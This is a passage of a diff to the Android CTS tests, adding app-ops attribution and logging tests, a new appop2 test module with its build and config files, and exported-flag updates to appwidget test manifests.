+        assertThat(noted[0].first.op).isEqualTo(OPSTR_GET_USAGE_STATS)
+        assertThat(noted[0].first.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        assertThat(noted[0].second.map { it.methodName }).contains("getNextDropBoxEntry")
+    }
+
+    @Test
+    fun receiveBroadcastRegisteredReceiver() {
+        val receiver = object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+            }
+        }
+
+        val testContext = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+        testContext.registerReceiver(receiver, IntentFilter(PRIVATE_ACTION))
+
+        try {
+            context.sendOrderedBroadcast(Intent(PRIVATE_ACTION), READ_CONTACTS, OPSTR_READ_CONTACTS,
+                    null, null, RESULT_OK, null, null)
+
+            eventually {
+                assertThat(asyncNoted[0].op).isEqualTo(OPSTR_READ_CONTACTS)
+                assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+                assertThat(asyncNoted[0].message)
+                        .contains(System.identityHashCode(receiver).toString())
+            }
+        } finally {
+            testContext.unregisterReceiver(receiver)
+        }
+    }
+
+    @Test
+    fun receiveBroadcastManifestReceiver() {
+        context.sendOrderedBroadcast(Intent(PUBLIC_ACTION).setPackage(myPackage), READ_CONTACTS,
+                OPSTR_READ_CONTACTS, null, null, RESULT_OK, null, null)
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_READ_CONTACTS)
+
+            // Manifest receivers do not have an attribution
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(null)
+            assertThat(asyncNoted[0].message).contains("PublicActionReceiver")
+        }
+    }
+
+    @Test
+    fun sendBroadcastToProtectedReceiver() {
+        context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+                .sendBroadcast(Intent(PROTECTED_ACTION).setPackage(myPackage))
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_READ_CONTACTS)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
     @After
     fun removeNotedAppOpsCollector() {
         appOpsManager.setOnOpNotedCallback(null, null)
@@ -862,3 +1078,13 @@
         }
     }
 }
+
+class PublicActionReceiver : BroadcastReceiver() {
+    override fun onReceive(context: Context, intent: Intent?) {
+    }
+}
+
+class ProtectedActionReceiver : BroadcastReceiver() {
+    override fun onReceive(context: Context, intent: Intent?) {
+    }
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index 3b4dda1..6c4fcc6 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -28,6 +28,7 @@
 import android.app.AppOpsManager.MODE_DEFAULT
 import android.app.AppOpsManager.MODE_ERRORED
 import android.app.AppOpsManager.MODE_IGNORED
+import android.app.AppOpsManager.OPSTR_PICTURE_IN_PICTURE
 import android.app.AppOpsManager.OPSTR_READ_CALENDAR
 import android.app.AppOpsManager.OPSTR_RECORD_AUDIO
 import android.app.AppOpsManager.OPSTR_WIFI_SCAN
@@ -249,17 +250,18 @@
             mAppOps.startWatchingActive(arrayOf(OPSTR_WRITE_CALENDAR), Executor { it.run() },
                 activeWatcher)
             try {
-                mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "attribution1", null)
+                mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "firstAttribution",
+                        null)
                 assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
                 gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
 
                 mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
-                    "attribution2", null)
+                    "secondAttribution", null)
                 assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
                 assertFalse(gotInActive.isDone)
 
                 mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
-                    "attribution1")
+                    "firstAttribution")
 
                 // Allow some time for premature "watchingActive" callbacks to arrive
                 Thread.sleep(500)
@@ -268,7 +270,7 @@
                 assertFalse(gotInActive.isDone)
 
                 mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
-                    "attribution2")
+                    "secondAttribution")
                 assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
                 gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
             } finally {
@@ -509,33 +511,33 @@
     fun testNonHistoricalStatePersistence() {
         // Put a package and uid level data
         runWithShellPermissionIdentity {
-            mAppOps.setMode(OPSTR_RECORD_AUDIO, Process.myUid(),
+            mAppOps.setMode(OPSTR_PICTURE_IN_PICTURE, Process.myUid(),
                     mOpPackageName, MODE_IGNORED)
-            mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), MODE_ERRORED)
+            mAppOps.setUidMode(OPSTR_PICTURE_IN_PICTURE, Process.myUid(), MODE_ERRORED)
 
             // Write the data to disk and read it
             mAppOps.reloadNonHistoricalState()
         }
 
         // Verify the uid state is preserved
-        assertSame(mAppOps.unsafeCheckOpNoThrow(OPSTR_RECORD_AUDIO,
+        assertSame(mAppOps.unsafeCheckOpNoThrow(OPSTR_PICTURE_IN_PICTURE,
                 Process.myUid(), mOpPackageName), MODE_ERRORED)
 
         runWithShellPermissionIdentity {
             // Clear the uid state
-            mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(),
-                    AppOpsManager.opToDefaultMode(OPSTR_RECORD_AUDIO))
+            mAppOps.setUidMode(OPSTR_PICTURE_IN_PICTURE, Process.myUid(),
+                    AppOpsManager.opToDefaultMode(OPSTR_PICTURE_IN_PICTURE))
         }
 
         // Verify the package state is preserved
-        assertSame(mAppOps.unsafeCheckOpNoThrow(OPSTR_RECORD_AUDIO,
+        assertSame(mAppOps.unsafeCheckOpNoThrow(OPSTR_PICTURE_IN_PICTURE,
                 Process.myUid(), mOpPackageName), MODE_IGNORED)
 
         runWithShellPermissionIdentity {
             // Clear the uid state
-            val defaultMode = AppOpsManager.opToDefaultMode(OPSTR_RECORD_AUDIO)
-            mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), defaultMode)
-            mAppOps.setMode(OPSTR_RECORD_AUDIO, Process.myUid(),
+            val defaultMode = AppOpsManager.opToDefaultMode(OPSTR_PICTURE_IN_PICTURE)
+            mAppOps.setUidMode(OPSTR_PICTURE_IN_PICTURE, Process.myUid(), defaultMode)
+            mAppOps.setMode(OPSTR_PICTURE_IN_PICTURE, Process.myUid(),
                     mOpPackageName, defaultMode)
         }
     }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 0bdf312..d8fc252 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -17,14 +17,17 @@
 package android.app.appops.cts
 
 import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_READ_CONTACTS
 import android.app.AppOpsManager.OPSTR_WIFI_SCAN
 import android.app.AppOpsManager.OP_FLAGS_ALL
+import android.app.AppOpsManager.SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE
+import android.content.Intent
+import android.content.ComponentName
 import android.platform.test.annotations.AppModeFull
 import androidx.test.platform.app.InstrumentationRegistry
 import com.google.common.truth.Truth.assertThat
 import org.junit.Before
 import org.junit.Test
-import java.lang.AssertionError
 import java.lang.Thread.sleep
 
 private const val APK_PATH = "/data/local/tmp/cts/appops/"
@@ -43,6 +46,7 @@
 class AttributionTest {
     private val instrumentation = InstrumentationRegistry.getInstrumentation()
     private val context = instrumentation.targetContext
+    private val uiAutomation = instrumentation.getUiAutomation()
     private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
     private val appUid by lazy { context.packageManager.getPackageUid(APP_PKG, 0) }
 
@@ -62,7 +66,48 @@
         sleep(1)
 
         runWithShellPermissionIdentity {
-            appOpsManager.noteOpNoThrow(OPSTR_WIFI_SCAN, appUid, APP_PKG, attribution, null)
+            appOpsManager.noteOp(OPSTR_WIFI_SCAN, appUid, APP_PKG, attribution, null)
+        }
+    }
+
+    @Test
+    fun manifestReceiverTagging() {
+        val PKG = "android.app.appops.cts.appwithreceiverattribution"
+
+        installApk("CtsAppWithReceiverAttribution.apk")
+        val uid = context.packageManager.getPackageUid(PKG, 0)
+
+        val intent = Intent("ACTION_TEST")
+        intent.setComponent(ComponentName.createRelative(PKG, ".TestReceiver"))
+        intent.addFlags(Intent.FLAG_RECEIVER_INCLUDE_BACKGROUND)
+
+        runWithShellPermissionIdentity {
+            uiAutomation.grantRuntimePermission(PKG, android.Manifest.permission.READ_CONTACTS)
+            appOpsManager.noteOp(OPSTR_READ_CONTACTS, uid, PKG, ATTRIBUTION_1, null)
+            appOpsManager.noteOp(OPSTR_READ_CONTACTS, uid, PKG, ATTRIBUTION_2, null)
+            appOpsManager.noteOp(OPSTR_READ_CONTACTS, uid, PKG, ATTRIBUTION_3, null)
+        }
+
+        sleep(1)
+        val before = getOpEntry(uid, PKG, OPSTR_READ_CONTACTS)!!
+        context.sendBroadcast(intent, android.Manifest.permission.READ_CONTACTS)
+        sleep(1)
+
+        eventually {
+            // 1 and 2 should be attributed for the broadcast, 3 should not.
+            val after = getOpEntry(uid, PKG, OPSTR_READ_CONTACTS)!!
+            assertThat(after.attributedOpEntries[ATTRIBUTION_1]!!
+                    .getLastAccessTime(OP_FLAGS_ALL))
+                    .isNotEqualTo(before.attributedOpEntries[ATTRIBUTION_1]!!
+                            .getLastAccessTime(OP_FLAGS_ALL))
+            assertThat(after.attributedOpEntries[ATTRIBUTION_2]!!
+                    .getLastAccessTime(OP_FLAGS_ALL))
+                    .isNotEqualTo(before.attributedOpEntries[ATTRIBUTION_2]!!
+                            .getLastAccessTime(OP_FLAGS_ALL))
+            assertThat(after.attributedOpEntries[ATTRIBUTION_3]!!
+                    .getLastAccessTime(OP_FLAGS_ALL))
+                    .isEqualTo(before.attributedOpEntries[ATTRIBUTION_3]!!
+                            .getLastAccessTime(OP_FLAGS_ALL))
         }
     }
 
@@ -106,6 +151,18 @@
         }
     }
 
+    @Test(expected = SecurityException::class)
+    fun cannotUseUndeclaredAttributionTag() {
+        withEnabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
+            noteForAttribution("invalid attribution tag")
+        }
+    }
+
+    @Test
+    fun canUseUndeclaredAttributionTagIfChangeForBlameeIsDisabled() {
+        noteForAttribution("invalid attribution tag")
+    }
+
     @Test(expected = AssertionError::class)
     fun cannotInheritFromSelf() {
         installApk("AppWithAttributionInheritingFromSelf.apk")
@@ -135,4 +192,4 @@
     fun cannotUseTooManyAttributions() {
         installApk("AppWithTooManyAttributions.apk")
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop2/Android.bp b/tests/tests/appop2/Android.bp
new file mode 100644
index 0000000..fc682fc
--- /dev/null
+++ b/tests/tests/appop2/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsAppOps2TestCases",
+
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "appops-test-util-lib",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+        "truth-prebuilt",
+    ],
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/appop2/AndroidManifest.xml b/tests/tests/appop2/AndroidManifest.xml
new file mode 100644
index 0000000..b1ceac6
--- /dev/null
+++ b/tests/tests/appop2/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.appops2.cts">
+  <attribution android:tag="testAttribution" android:label="@string/dummyLabel" />
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+  <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:functionalTest="true"
+      android:targetPackage="android.app.appops2.cts"
+      android:label="Tests for the app ops API (cannot include reset of app-op state)."/>
+
+</manifest>
diff --git a/tests/tests/appop2/AndroidTest.xml b/tests/tests/appop2/AndroidTest.xml
new file mode 100644
index 0000000..fc10a83
--- /dev/null
+++ b/tests/tests/appop2/AndroidTest.xml
@@ -0,0 +1,45 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS app ops test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppOps2TestCases.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="appops set android.app.appops2.cts REQUEST_INSTALL_PACKAGES allow" />
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/appops2" />
+        <option name="teardown-command" value="pm uninstall android.app.appops.cts.apptoblame" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts" />
+    </target_preparer>
+
+    <!-- Load additional APKs onto device -->
+    <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer" >
+        <option name="push-file" key="CtsAppToBlame1.apk" value="/data/local/tmp/cts/appops2/CtsAppToBlame1.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="hidden-api-checks" value="true" />
+        <option name="package" value="android.app.appops2.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/appop2/OWNERS b/tests/tests/appop2/OWNERS
new file mode 100644
index 0000000..3753dee
--- /dev/null
+++ b/tests/tests/appop2/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+moltmann@google.com
+zhanghai@google.com
+ntmyren@google.com
+eugenesusla@google.com
+svetoslavganov@google.com
+evanseverson@google.com
diff --git a/tests/tests/appop2/TEST_MAPPING b/tests/tests/appop2/TEST_MAPPING
new file mode 100644
index 0000000..dbf2444
--- /dev/null
+++ b/tests/tests/appop2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppOps2TestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/appop2/res/values/strings.xml b/tests/tests/appop2/res/values/strings.xml
new file mode 100644
index 0000000..ab27f6a
--- /dev/null
+++ b/tests/tests/appop2/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="dummyLabel">A feature</string>
+</resources>
diff --git a/tests/tests/appop2/src/android/app/appops2/cts/AppOpsLoggingTest.kt b/tests/tests/appop2/src/android/app/appops2/cts/AppOpsLoggingTest.kt
new file mode 100644
index 0000000..faa52a2
--- /dev/null
+++ b/tests/tests/appop2/src/android/app/appops2/cts/AppOpsLoggingTest.kt
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops2.cts
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.OnOpNotedCallback
+import android.app.AppOpsManager.permissionToOp
+import android.app.AsyncNotedAppOp
+import android.app.PendingIntent
+import android.app.SyncNotedAppOp
+import android.app.appops.cts.eventually
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
+import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
+import android.content.IntentFilter
+import android.content.pm.PackageInstaller.EXTRA_STATUS
+import android.content.pm.PackageInstaller.STATUS_FAILURE_INVALID
+import android.content.pm.PackageInstaller.STATUS_PENDING_USER_ACTION
+import android.content.pm.PackageInstaller.SessionParams
+import android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL
+import android.platform.test.annotations.AppModeFull
+import androidx.test.platform.app.InstrumentationRegistry
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+import java.io.File
+import java.util.concurrent.Executor
+
+private const val TEST_ATTRIBUTION_TAG = "testAttribution"
+
+@AppModeFull(reason = "Test relies on other app to connect to. Instant apps can't see other apps")
+class AppOpsLoggingTest {
+    private val context = InstrumentationRegistry.getInstrumentation().targetContext
+    private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+    // Collected note-op calls inside of this process
+    private val noted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+    private val selfNoted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+    private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
+
+    @Before
+    fun setNotedAppOpsCollectorAndClearCollectedNoteOps() {
+        setNotedAppOpsCollector()
+        clearCollectedNotedOps()
+    }
+
+    private fun clearCollectedNotedOps() {
+        noted.clear()
+        selfNoted.clear()
+        asyncNoted.clear()
+    }
+
+    private fun setNotedAppOpsCollector() {
+        appOpsManager.setOnOpNotedCallback(Executor { it.run() },
+                object : OnOpNotedCallback() {
+                    override fun onNoted(op: SyncNotedAppOp) {
+                        noted.add(op to Throwable().stackTrace)
+                    }
+
+                    override fun onSelfNoted(op: SyncNotedAppOp) {
+                        selfNoted.add(op to Throwable().stackTrace)
+                    }
+
+                    override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+                        asyncNoted.add(asyncOp)
+                    }
+                })
+    }
+
+    /**
+     * Realistic end-to-end test for requesting to install a package
+     */
+    @Test
+    fun requestInstall() {
+        val pi = context.createAttributionContext(TEST_ATTRIBUTION_TAG).packageManager
+                .packageInstaller
+        val sessionId = pi.createSession(SessionParams(MODE_FULL_INSTALL))
+
+        val session = pi.openSession(sessionId)
+        try {
+            // Write apk data to session
+            File("/data/local/tmp/cts/appops2/CtsAppToBlame1.apk")
+                    .inputStream().use { fileOnDisk ->
+                        session.openWrite("base.apk", 0, -1).use { sessionFile ->
+                            fileOnDisk.copyTo(sessionFile)
+                        }
+                    }
+
+            val installAction = context.packageName + ".install_cb"
+            context.registerReceiver(object : BroadcastReceiver() {
+                override fun onReceive(ignored: Context?, intent: Intent) {
+                    if (intent.getIntExtra(EXTRA_STATUS, STATUS_FAILURE_INVALID)
+                            != STATUS_PENDING_USER_ACTION) {
+                        return
+                    }
+
+                    // Start package install request UI (should trigger REQUEST_INSTALL_PACKAGES)
+                    val activityIntent = intent.getParcelableExtra<Intent>(Intent.EXTRA_INTENT)
+                    activityIntent!!.addFlags(
+                            FLAG_ACTIVITY_CLEAR_TASK or FLAG_ACTIVITY_NEW_TASK)
+                    context.startActivity(activityIntent)
+                }
+            }, IntentFilter(installAction))
+
+            // Commit session (should trigger installAction receiver)
+            session.commit(PendingIntent.getBroadcast(context, 0, Intent(installAction),
+                    PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE).intentSender)
+
+            eventually {
+                assertThat(asyncNoted[0].op).isEqualTo(
+                        permissionToOp(android.Manifest.permission.REQUEST_INSTALL_PACKAGES))
+                assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+            }
+        } finally {
+            session.abandon()
+        }
+    }
+
+    @After
+    fun removeNotedAppOpsCollector() {
+        appOpsManager.setOnOpNotedCallback(null, null)
+    }
+}
diff --git a/tests/tests/appwidget/AndroidManifest.xml b/tests/tests/appwidget/AndroidManifest.xml
index 4c23851..645bdc5 100644
--- a/tests/tests/appwidget/AndroidManifest.xml
+++ b/tests/tests/appwidget/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2014 The Android Open Source Project
  *
@@ -17,81 +16,88 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appwidget.cts"
-    android:targetSandboxVersion="2">
+     package="android.appwidget.cts"
+     android:targetSandboxVersion="2">
 
   <application>
       <uses-library android:name="android.test.runner"/>
 
-      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/first_appwidget_info" />
+               android:resource="@xml/first_appwidget_info"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/second_appwidget_info" />
+               android:resource="@xml/second_appwidget_info"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider1" >
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider1"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info_with_feature1" />
+               android:resource="@xml/appwidget_info_with_feature1"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider2" >
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider2"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info_with_feature2" />
+               android:resource="@xml/appwidget_info_with_feature2"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider3" >
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider3"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info_with_feature3" />
+               android:resource="@xml/appwidget_info_with_feature3"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.CollectionAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.CollectionAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/collection_appwidget_info" />
+               android:resource="@xml/collection_appwidget_info"/>
       </receiver>
 
       <service android:name="android.appwidget.cts.service.MyAppWidgetService"
-          android:permission="android.permission.BIND_REMOTEVIEWS">
+           android:permission="android.permission.BIND_REMOTEVIEWS">
       </service>
 
       <activity android:name="android.appwidget.cts.activity.EmptyActivity"
-                android:label="EmptyActivity">
+           android:label="EmptyActivity"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.MAIN" />
-              <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+              <action android:name="android.intent.action.MAIN"/>
+              <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
           </intent-filter>
       </activity>
 
       <activity android:name="android.appwidget.cts.activity.TransitionActivity"
-          android:label="TransitionActivity" />
+           android:label="TransitionActivity"/>
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-      android:targetPackage="android.appwidget.cts"
-      android:label="Tests for the app widget APIs.">
+       android:targetPackage="android.appwidget.cts"
+       android:label="Tests for the app widget APIs.">
       <meta-data android:name="listener"
-          android:value="com.android.cts.runner.CtsTestRunListener" />
+           android:value="com.android.cts.runner.CtsTestRunListener"/>
   </instrumentation>
 
 </manifest>
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
index 47d1e05..1decc84 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
@@ -16,12 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.packages">
+     package="android.appwidget.cts.packages">
 
     <application>
-        <activity android:name="AppWidgetConfirmPin">
+        <activity android:name="AppWidgetConfirmPin"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CONFIRM_PIN_APPWIDGET" />
+                <action android:name="android.content.pm.action.CONFIRM_PIN_APPWIDGET"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
index 57c4e4d..0c6707f 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
@@ -16,15 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.packages"
-          android:targetSandboxVersion="2">
+     package="android.appwidget.cts.packages"
+     android:targetSandboxVersion="2">
 
     <application>
-        <activity android:name="Launcher">
+        <activity android:name="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
index 2c1db2f..1d4e17f 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
@@ -16,18 +16,19 @@
  -->
 
